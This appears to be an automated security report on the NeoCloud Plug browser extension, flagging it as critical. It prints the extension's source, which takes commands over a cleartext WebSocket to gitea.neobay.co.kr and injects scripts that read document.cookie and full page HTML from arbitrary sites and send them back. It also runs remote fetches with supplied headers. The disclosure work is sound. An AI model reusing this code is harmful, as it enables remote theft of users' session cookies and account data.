Is NeoCloud Plug safe?
NeoCloud Plug lets gitea.neobay.co.kr command cookie, page HTML, and fetch requests across arbitrary websites.
When its app page runs, it opens a cleartext WebSocket to gitea.neobay.co.kr:3000 and accepts server messages containing URLs and request options. Those commands can open supplied pages, read document.cookie or full page HTML through injected scripts, and send results back to the same WebSocket; a fetch command can also send caller-supplied headers and request options to arbitrary URLs.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Cleartext WebSocket can command cookie and page reads
After the extension window opens, NeoCloud Plug connects to ws://gitea.neobay.co.kr:3000 and accepts JSON commands with URLs, fetch options, and headers that open pages, inject scripts to read cookies/HTML, run fetches, and return results.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-319
- Source
- Dynamic sandbox
You open the extension app window.
That action causes app.html to load and run assets/js/app.js.
The extension connects to a cleartext WebSocket and accepts remote tasks.
Those tasks can name URLs to open, scripts to inject, and fetch options to use.
Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.
- Command typecookie
This tells the extension which behavior to run, such as reading cookies, scraping a page, or making a fetch request.
- Supplied page URLhttps://example.com/account (illustrative)
This decides which site the extension opens or requests on your browser.
- Cookie stringsession_id=s%3A7a9f2b1c.user.4QxV (illustrative)
Cookies can identify a signed-in browser session for the page that was opened.
- Full page HTML<html><body><main>Account settings</main></body></html> (illustrative)
Full HTML can include visible page text, embedded metadata, forms, and account-specific content.
- Supplied fetch headersAuthorization: Bearer redacted-token (illustrative)
Headers can carry authentication material if a remote fetch command includes them.
Installed source behind the cleartext control channel
Extension action opens app.html
background.jschrome.action.onClicked.addListener(() => { chrome.storage.sync.get(['appWindow'], (items) => { if (items.appWindow === undefined) { openApp(); } else { chrome.windows.get(items.appWindow.id).then(window => { chrome.windows.update(window.id, { focused: true }, () => {}) }).catch(() => { openApp(); }) } });})function openApp() { chrome.windows.create({ type: "popup", height: 320, width: 480, url: "app.html" }, (window) => { chrome.storage.sync.set({appWindow: window}, () => {}); })}WebSocket connection and command queueing
assets/js/app.jsfunction connect() { server = new WebSocket(`ws://${HOST}:${PORT}`) updateStatus(status => status.connect = 1) server.onopen = (e) => { console.log(`socket open (${e.type})`); updateStatus(status => status.connect = 2) } server.onclose = (e) => { console.log(`socket close (${e.code}: ${e.reason})`); updateStatus(status => status.connect = 0) setTimeout(connect, 1000); } server.onerror = (e) => { console.log(`socket error (${e.type})`); server.close(); } server.onmessage = (e) => { try { let message = JSON.parse(e.data); switch (message.type) { case "welcome": server.id = message.data.id registerID() break; case "request": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "cookie": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "amazon": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "aliDetail": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "fetch": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url, option: message.data.option }); updateStatus(status => { status.total++ status.pending = queue.length }); break; } } catch { console.log(`socket messages are filtered (${e.data})`); } }}Response frames sent to the WebSocket peer
assets/js/app.jsfunction messenger(target, type, data, code, message) { server.send(JSON.stringify({ sender: server.id, target: target, type: type, code: code, message: message, data: data }));}Remote-supplied fetch options
assets/js/app.jsfunction requestFetch(requestId, url, option) { option = option === undefined ? {} : option option.options = option.options === undefined ? {} : option.options let neo_cloud_fetch_uuid = ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)); fetchHeaderHook(neo_cloud_fetch_uuid, option.headers) if (Object.keys(option.formData).length > 0) { let formData = new FormData(); for (let key in option.formData) { let data = option.formData[key]; let byteArray = Uint8Array.from(Array.from(atob(data.value)).map(x => x.charCodeAt(0))); let blob = new Blob([byteArray], { type: data.type }); formData.append(key, blob, data.name); } option.body = formData; } else option.body = atob(option.body); return fetch(`${url}#neocloud_fetch_uuid:${neo_cloud_fetch_uuid}`, { method: option.method, body: option.method === "GET" || option.method === "HEAD" ? undefined : option.body, headers: option.headers, mode: option.options.mode, credentials: option.options.credentials, cache: option.options.cache, redirect: option.options.redirect, referrerPolicy: option.options.referrerPolicy, referrer: option.referrer, integrity: option.integrity }).then(async res => { let charset = res.headers.get('Content-Type').split(';').reduce((prev, current) => { const [name, value] = current.split('='); prev[name.trim()] = typeof value === 'string' ? value.trim() : ""; return prev }, {})['charset']; const response = await res.arrayBuffer(); let utf_8_response = new TextDecoder("UTF-8").decode(new DataView(response)); let charset_regex = charset === null ? /charset="(.+)"/.exec(utf_8_response) : ['', charset]; return charset_regex === null ? utf_8_response : new TextDecoder(charset_regex[1]).decode(new DataView(response)); })}Supplied URL opened and scraping script injected
assets/js/app.jsfunction request(requestId, url) { return new Promise((resolve, reject) => { let width = parseInt(url.includes('11st.co.kr') ? '1' : '1280'); let height = parseInt(url.includes('11st.co.kr') ? '1' : '1024'); chrome.windows.create({ type: "popup", top: 0, left: 0, width: width, height: height, url: url }).then(async window => { runner = { windowId: window.id, promise: { resolve: resolve, reject: reject } } const tabId = window.tabs[0].id; let tabMonitor = setInterval(() => { chrome.tabs.get(tabId, tab => { if (chrome.runtime.lastError) { clearInterval(tabMonitor); return; } if (tab.status === "complete") { let scriptFile = url.includes('11st.co.kr') ? 'getElevenProductsHtml.js' : 'scripting.js'; if (scriptFile === 'getElevenProductsHtml.js') { if (!url.includes('search.11st.co.kr')) scriptFile = 'getElevenProductHtml.js'; } chrome.scripting.executeScript({ target: { tabId: tabId }, files: [scriptFile] }, () => clearInterval(tabMonitor)); } }); }, 100); let messageCallback = request => { switch (request.sender) { case 'scroller': if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; case 'getHtml' : if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; } } chrome.runtime.onMessage.addListener(messageCallback); setTimeout(() => { chrome.windows.remove(window.id).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); }, 1200000); }).catch(() => { if (runner.windowId !== undefined) { chrome.windows.remove(parseInt(runner.windowId)).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); } }); })}Supplied URL opened and cookie script injected
assets/js/app.jsfunction cookie(requestId, url) { return new Promise((resolve, reject) => { chrome.windows.create({ type: "popup", top: 0, left: 0, width: 1, height: 1, url: url }).then(async window => { runner = { windowId: window.id, promise: { resolve: resolve, reject: reject } } const tabId = window.tabs[0].id; let tabMonitor = setInterval(() => { chrome.tabs.get(tabId, tab => { if (chrome.runtime.lastError) { clearInterval(tabMonitor); return; } if (tab.status === "complete") { let scriptFile = "getCookie.js" chrome.scripting.executeScript({ target: { tabId: tabId }, files: [scriptFile] }, () => clearInterval(tabMonitor)); } }); }, 100); let messageCallback = request => { switch (request.sender) { case 'getCookie' : if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; } } chrome.runtime.onMessage.addListener(messageCallback); setTimeout(() => { chrome.windows.remove(window.id).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); }, 1200000); }).catch(() => { if (runner.windowId !== undefined) { chrome.windows.remove(parseInt(runner.windowId)).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); } }); })}Queue dispatcher returns command results
assets/js/app.js// queue(() => { const run = () => { const data = queue.shift(); if (data === undefined) { setTimeout(run, 1000); return; } updateStatus(status => { status.status = true status.pending = queue.length }) switch (data.type) { case "request": request(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "cookie": cookie(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "amazon": amazon(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "aliDetail": aliDetail(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "fetch": requestFetch(data.requestId, data.url, data.option).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; } }; run();})();Injected scripts that return browser-visible data
Injected script returns document.cookie
getCookie.jschrome.runtime.sendMessage({ sender: "getCookie", response: document.cookie, status: 200}, () => {});Injected script returns full page HTML
scripting.jsdocument.body.style.overflow = 'hidden'let neoCloudPlugWell = document.createElement('div');neoCloudPlugWell.style.position = 'fixed';neoCloudPlugWell.style.top = '0px';neoCloudPlugWell.style.left = '0px';neoCloudPlugWell.style.height = '100%';neoCloudPlugWell.style.width = '100%';neoCloudPlugWell.style.zIndex = '100000000000';neoCloudPlugWell.id = 'neo-cloud-plug-well';document.body.appendChild(neoCloudPlugWell);let i = 0;const scroller = setInterval(() => { scroll(0, window.innerHeight * i) i++; if ((document.documentElement.scrollTop + window.innerHeight) - document.documentElement.scrollHeight > -1) { chrome.runtime.sendMessage({ sender: "scroller", response: document.documentElement.outerHTML, status: 200 }, () => {}); clearInterval(scroller) }}, 1000)Amazon scraper returns full page HTML
getAmazonProduct.js// (function() {// let fetchRequestSent = false; // fetch가 한 번만 실행되도록 제어하는 플래그//// // 페이지 하단까지 스크롤하는 함수// function scrollToBottom() {// return new Promise((resolve) => {// let totalHeight = 0;// const distance = 2000; // 스크롤할 픽셀 단위// const timer = setInterval(() => {// window.scrollBy(0, distance);// totalHeight += distance;//// // 페이지의 전체 높이와 비교하여 끝까지 스크롤한 경우// if (totalHeight >= document.body.scrollHeight - window.innerHeight) {// clearInterval(timer); // 스크롤 완료 시 타이머 중지// resolve(); // 스크롤 완료 시 Promise 해결// }// }, 50);// });// }//// // Fetch 요청 함수 (한 번만 호출됨)// function fetchPriceData() {// return new Promise((resolve, reject) => {// if (fetchRequestSent) return resolve(); // fetch가 이미 실행된 경우 종료// fetchRequestSent = true; // fetch가 실행된 상태로 설정//// // itemId를 안전하게 추출// const itemElement = document.querySelector('#ASIN');// if (!itemElement || !itemElement.value) {// console.error('ASIN을 찾을 수 없습니다.');// return resolve(); // itemId가 없으면 바로 resolve// }//// const itemId = itemElement.value; // itemId 추출// const priceUrl = `/gp/product/ajax/ref=dp_aod_ALL_mbc?asin=${itemId}&m=&qid=&smid=&sourcecustomerorglistid=&sourcecustomerorglistitemid=&sr=&pc=dp&experienceId=aodAjaxMain`;//// fetch(priceUrl)// .then(response => response.text())// .then(html => {// const wrapper = document.createElement('div');// wrapper.className = 'product-price-additional-source'; // 클래스명 지정// wrapper.innerHTML = html; // HTML 응답을 div 안에 넣음// document.body.appendChild(wrapper); // body에 추가// resolve(); // fetch 요청 완료// })// .catch(error => {// console.error('Fetch Error:', error);// resolve(); // 에러 발생 시에도 resolve하여 진행// });// });// }//// // 스크롤과 Fetch 요청을 동시에 처리// Promise.allSettled([scrollToBottom(), fetchPriceData()])// .then(() => {// // 스크롤 및 Fetch가 모두 완료되면 메시지 전송// chrome.runtime.sendMessage({// sender: "getAmazon",// response: document.documentElement.outerHTML,// status: 200// }, () => {});// }).catch(() => {// chrome.runtime.sendMessage({// sender: "getAmazon",// response: document.documentElement.outerHTML,// status: 200// }, () => {});// });// })();chrome.runtime.sendMessage({ sender: "getAmazon", response: document.documentElement.outerHTML, status: 200}, () => {});11st product scraper returns full page HTML
getElevenProductHtml.jsconst loadProduct = () => { return new Promise((resolve, reject) => { const intervalId = setInterval(() => { const isLoad = document.querySelector('h1[class="title"]'); if (isLoad) { clearInterval(intervalId); resolve(); } }, 10); });}loadProduct().then(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: document.documentElement.outerHTML, status: 200 }, () => {});}).catch(error => { console.error("Error:", error);}).finally(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: null, status: 200 }, () => {});});11st search scraper returns full page HTML
getElevenProductsHtml.jsconst loadProducts = () => { return new Promise((resolve, reject) => { const intervalId = setInterval(() => { const isLoad = document.querySelector('.c-search-list__item'); if (isLoad) { clearInterval(intervalId); resolve(); } }, 10); });}loadProducts().then(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: document.documentElement.outerHTML, status: 200 }, () => {});}).catch(error => { console.error("Error:", error);}).finally(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: null, status: 200 }, () => {});});The extension asks Chrome for scripting access and permission to operate across all websites.
- Location
- manifest.json permissions and host_permissions
{ "name": "NeoCloud Plug", "icons": { "72": "assets/img/logo.png" }, "action": { "default_icon": "assets/img/logo.png" }, "version": "3.7", "background": { "type": "module", "service_worker": "background.js" }, "update_url": "https://clients2.google.com/service/update2/crx", "description": "NeoCloud Extension", "permissions": [ "scripting", "storage", "declarativeNetRequest" ], "host_permissions": [ "<all_urls>" ], "manifest_version": 3}- gitea.neobay.co.kr
Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().
Remote cookie command reads document.cookie
After the app window opens, NeoCloud Plug connects to ws://gitea.neobay.co.kr:3000.
A cookie-type message supplies a URL; the code opens it in a small popup, injects getCookie.js, reads document.cookie, and returns the string to the peer.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
A remote WebSocket message sends the extension a cookie task.
The message includes a request ID and the URL to open.
The extension opens that page, reads document.cookie, and returns the value.
The installed getCookie.js script sends the cookie string to app.js, which forwards it to the WebSocket peer.
Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.
- Command typecookie
This tells the extension to run its cookie-reading path.
- Supplied page URLhttps://example.com/account (illustrative)
This decides which page is opened before cookies are read.
- Request IDcookie-test
This ties the returned cookie string to the remote task that requested it.
- document.cookie valuesession_id=s%3A7a9f2b1c.user.4QxV; prefs=lang%3Den (illustrative)
This can include browser-readable session or account cookies for the opened site.
Installed cookie extraction path
Extension action opens app.html
background.jschrome.action.onClicked.addListener(() => { chrome.storage.sync.get(['appWindow'], (items) => { if (items.appWindow === undefined) { openApp(); } else { chrome.windows.get(items.appWindow.id).then(window => { chrome.windows.update(window.id, { focused: true }, () => {}) }).catch(() => { openApp(); }) } });})function openApp() { chrome.windows.create({ type: "popup", height: 320, width: 480, url: "app.html" }, (window) => { chrome.storage.sync.set({appWindow: window}, () => {}); })}WebSocket connection and command queueing
assets/js/app.jsfunction connect() { server = new WebSocket(`ws://${HOST}:${PORT}`) updateStatus(status => status.connect = 1) server.onopen = (e) => { console.log(`socket open (${e.type})`); updateStatus(status => status.connect = 2) } server.onclose = (e) => { console.log(`socket close (${e.code}: ${e.reason})`); updateStatus(status => status.connect = 0) setTimeout(connect, 1000); } server.onerror = (e) => { console.log(`socket error (${e.type})`); server.close(); } server.onmessage = (e) => { try { let message = JSON.parse(e.data); switch (message.type) { case "welcome": server.id = message.data.id registerID() break; case "request": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "cookie": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "amazon": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "aliDetail": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "fetch": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url, option: message.data.option }); updateStatus(status => { status.total++ status.pending = queue.length }); break; } } catch { console.log(`socket messages are filtered (${e.data})`); } }}Supplied URL opened and cookie script injected
assets/js/app.jsfunction cookie(requestId, url) { return new Promise((resolve, reject) => { chrome.windows.create({ type: "popup", top: 0, left: 0, width: 1, height: 1, url: url }).then(async window => { runner = { windowId: window.id, promise: { resolve: resolve, reject: reject } } const tabId = window.tabs[0].id; let tabMonitor = setInterval(() => { chrome.tabs.get(tabId, tab => { if (chrome.runtime.lastError) { clearInterval(tabMonitor); return; } if (tab.status === "complete") { let scriptFile = "getCookie.js" chrome.scripting.executeScript({ target: { tabId: tabId }, files: [scriptFile] }, () => clearInterval(tabMonitor)); } }); }, 100); let messageCallback = request => { switch (request.sender) { case 'getCookie' : if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; } } chrome.runtime.onMessage.addListener(messageCallback); setTimeout(() => { chrome.windows.remove(window.id).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); }, 1200000); }).catch(() => { if (runner.windowId !== undefined) { chrome.windows.remove(parseInt(runner.windowId)).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); } }); })}Queue dispatcher returns command results
assets/js/app.js// queue(() => { const run = () => { const data = queue.shift(); if (data === undefined) { setTimeout(run, 1000); return; } updateStatus(status => { status.status = true status.pending = queue.length }) switch (data.type) { case "request": request(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "cookie": cookie(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "amazon": amazon(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "aliDetail": aliDetail(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "fetch": requestFetch(data.requestId, data.url, data.option).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; } }; run();})();Injected script returns document.cookie
getCookie.jschrome.runtime.sendMessage({ sender: "getCookie", response: document.cookie, status: 200}, () => {});The extension asks Chrome for permission to inject scripts across all websites.
- Location
- manifest.json permissions and host_permissions
{ "name": "NeoCloud Plug", "icons": { "72": "assets/img/logo.png" }, "action": { "default_icon": "assets/img/logo.png" }, "version": "3.7", "background": { "type": "module", "service_worker": "background.js" }, "update_url": "https://clients2.google.com/service/update2/crx", "description": "NeoCloud Extension", "permissions": [ "scripting", "storage", "declarativeNetRequest" ], "host_permissions": [ "<all_urls>" ], "manifest_version": 3}- gitea.neobay.co.kr
Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().
Remote WebSocket commands collect full page HTML
After the app window opens, NeoCloud Plug accepts remote WebSocket messages with page URLs.
For request, amazon, and aliDetail tasks it opens the page, injects a scraper, reads outerHTML, and returns the HTML to gitea.neobay.co.kr.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
A remote WebSocket message sends the extension a page-scraping task.
The task type can be request, amazon, or aliDetail and includes a URL.
The extension opens that URL, injects a scraper, and returns the page HTML.
The generic scraper and ecommerce scrapers return document.documentElement.outerHTML.
Cleartext WebSocket control channel; no request or response body was recorded in the verification evidence.
- Command typerequest
This selects the page-reading path the extension will run.
- Supplied page URLhttps://example.com/product/12345 (illustrative)
This identifies the page opened and processed by your browser.
- Request IDdom-test
This ties the returned HTML to the remote task that requested it.
- Full page HTML<html><body><main>Product details and account panel</main></body></html> (illustrative)
Full HTML can include account-specific page text, embedded metadata, forms, and page structure.
Installed DOM collection path
WebSocket connection and command queueing
assets/js/app.jsfunction connect() { server = new WebSocket(`ws://${HOST}:${PORT}`) updateStatus(status => status.connect = 1) server.onopen = (e) => { console.log(`socket open (${e.type})`); updateStatus(status => status.connect = 2) } server.onclose = (e) => { console.log(`socket close (${e.code}: ${e.reason})`); updateStatus(status => status.connect = 0) setTimeout(connect, 1000); } server.onerror = (e) => { console.log(`socket error (${e.type})`); server.close(); } server.onmessage = (e) => { try { let message = JSON.parse(e.data); switch (message.type) { case "welcome": server.id = message.data.id registerID() break; case "request": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "cookie": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "amazon": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "aliDetail": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url }); updateStatus(status => { status.total++ status.pending = queue.length }); break; case "fetch": queue.push({ type: message.type, sender: message.sender, requestId: message.data.id, url: message.data.url, option: message.data.option }); updateStatus(status => { status.total++ status.pending = queue.length }); break; } } catch { console.log(`socket messages are filtered (${e.data})`); } }}Supplied URL opened and scraping script injected
assets/js/app.jsfunction request(requestId, url) { return new Promise((resolve, reject) => { let width = parseInt(url.includes('11st.co.kr') ? '1' : '1280'); let height = parseInt(url.includes('11st.co.kr') ? '1' : '1024'); chrome.windows.create({ type: "popup", top: 0, left: 0, width: width, height: height, url: url }).then(async window => { runner = { windowId: window.id, promise: { resolve: resolve, reject: reject } } const tabId = window.tabs[0].id; let tabMonitor = setInterval(() => { chrome.tabs.get(tabId, tab => { if (chrome.runtime.lastError) { clearInterval(tabMonitor); return; } if (tab.status === "complete") { let scriptFile = url.includes('11st.co.kr') ? 'getElevenProductsHtml.js' : 'scripting.js'; if (scriptFile === 'getElevenProductsHtml.js') { if (!url.includes('search.11st.co.kr')) scriptFile = 'getElevenProductHtml.js'; } chrome.scripting.executeScript({ target: { tabId: tabId }, files: [scriptFile] }, () => clearInterval(tabMonitor)); } }); }, 100); let messageCallback = request => { switch (request.sender) { case 'scroller': if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; case 'getHtml' : if (request.status === 200) { chrome.windows.remove(window.id).then(() => { chrome.runtime.onMessage.removeListener(messageCallback); resolve(request.response); }).catch(() => {}); } break; } } chrome.runtime.onMessage.addListener(messageCallback); setTimeout(() => { chrome.windows.remove(window.id).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); }, 1200000); }).catch(() => { if (runner.windowId !== undefined) { chrome.windows.remove(parseInt(runner.windowId)).then(() => { reject("페이지 접근 실패"); }).catch(() => {}); } }); })}Queue dispatcher returns command results
assets/js/app.js// queue(() => { const run = () => { const data = queue.shift(); if (data === undefined) { setTimeout(run, 1000); return; } updateStatus(status => { status.status = true status.pending = queue.length }) switch (data.type) { case "request": request(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "cookie": cookie(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "amazon": amazon(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "aliDetail": aliDetail(data.requestId, data.url).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; case "fetch": requestFetch(data.requestId, data.url, data.option).then(html => { messenger(data.sender, 'response', { id: data.requestId, response: html }, 200, '성공'); updateStatus(status => { status.status = false status.complete++ }) setTimeout(run, 1000); }).catch((error) => { messenger(data.sender, 'response', {}, 500, error); updateStatus(status => { status.status = false status.failed++ }) setTimeout(run, 1000); }); break; } }; run();})();Injected script returns full page HTML
scripting.jsdocument.body.style.overflow = 'hidden'let neoCloudPlugWell = document.createElement('div');neoCloudPlugWell.style.position = 'fixed';neoCloudPlugWell.style.top = '0px';neoCloudPlugWell.style.left = '0px';neoCloudPlugWell.style.height = '100%';neoCloudPlugWell.style.width = '100%';neoCloudPlugWell.style.zIndex = '100000000000';neoCloudPlugWell.id = 'neo-cloud-plug-well';document.body.appendChild(neoCloudPlugWell);let i = 0;const scroller = setInterval(() => { scroll(0, window.innerHeight * i) i++; if ((document.documentElement.scrollTop + window.innerHeight) - document.documentElement.scrollHeight > -1) { chrome.runtime.sendMessage({ sender: "scroller", response: document.documentElement.outerHTML, status: 200 }, () => {}); clearInterval(scroller) }}, 1000)Amazon scraper returns full page HTML
getAmazonProduct.js// (function() {// let fetchRequestSent = false; // fetch가 한 번만 실행되도록 제어하는 플래그//// // 페이지 하단까지 스크롤하는 함수// function scrollToBottom() {// return new Promise((resolve) => {// let totalHeight = 0;// const distance = 2000; // 스크롤할 픽셀 단위// const timer = setInterval(() => {// window.scrollBy(0, distance);// totalHeight += distance;//// // 페이지의 전체 높이와 비교하여 끝까지 스크롤한 경우// if (totalHeight >= document.body.scrollHeight - window.innerHeight) {// clearInterval(timer); // 스크롤 완료 시 타이머 중지// resolve(); // 스크롤 완료 시 Promise 해결// }// }, 50);// });// }//// // Fetch 요청 함수 (한 번만 호출됨)// function fetchPriceData() {// return new Promise((resolve, reject) => {// if (fetchRequestSent) return resolve(); // fetch가 이미 실행된 경우 종료// fetchRequestSent = true; // fetch가 실행된 상태로 설정//// // itemId를 안전하게 추출// const itemElement = document.querySelector('#ASIN');// if (!itemElement || !itemElement.value) {// console.error('ASIN을 찾을 수 없습니다.');// return resolve(); // itemId가 없으면 바로 resolve// }//// const itemId = itemElement.value; // itemId 추출// const priceUrl = `/gp/product/ajax/ref=dp_aod_ALL_mbc?asin=${itemId}&m=&qid=&smid=&sourcecustomerorglistid=&sourcecustomerorglistitemid=&sr=&pc=dp&experienceId=aodAjaxMain`;//// fetch(priceUrl)// .then(response => response.text())// .then(html => {// const wrapper = document.createElement('div');// wrapper.className = 'product-price-additional-source'; // 클래스명 지정// wrapper.innerHTML = html; // HTML 응답을 div 안에 넣음// document.body.appendChild(wrapper); // body에 추가// resolve(); // fetch 요청 완료// })// .catch(error => {// console.error('Fetch Error:', error);// resolve(); // 에러 발생 시에도 resolve하여 진행// });// });// }//// // 스크롤과 Fetch 요청을 동시에 처리// Promise.allSettled([scrollToBottom(), fetchPriceData()])// .then(() => {// // 스크롤 및 Fetch가 모두 완료되면 메시지 전송// chrome.runtime.sendMessage({// sender: "getAmazon",// response: document.documentElement.outerHTML,// status: 200// }, () => {});// }).catch(() => {// chrome.runtime.sendMessage({// sender: "getAmazon",// response: document.documentElement.outerHTML,// status: 200// }, () => {});// });// })();chrome.runtime.sendMessage({ sender: "getAmazon", response: document.documentElement.outerHTML, status: 200}, () => {});11st product scraper returns full page HTML
getElevenProductHtml.jsconst loadProduct = () => { return new Promise((resolve, reject) => { const intervalId = setInterval(() => { const isLoad = document.querySelector('h1[class="title"]'); if (isLoad) { clearInterval(intervalId); resolve(); } }, 10); });}loadProduct().then(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: document.documentElement.outerHTML, status: 200 }, () => {});}).catch(error => { console.error("Error:", error);}).finally(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: null, status: 200 }, () => {});});11st search scraper returns full page HTML
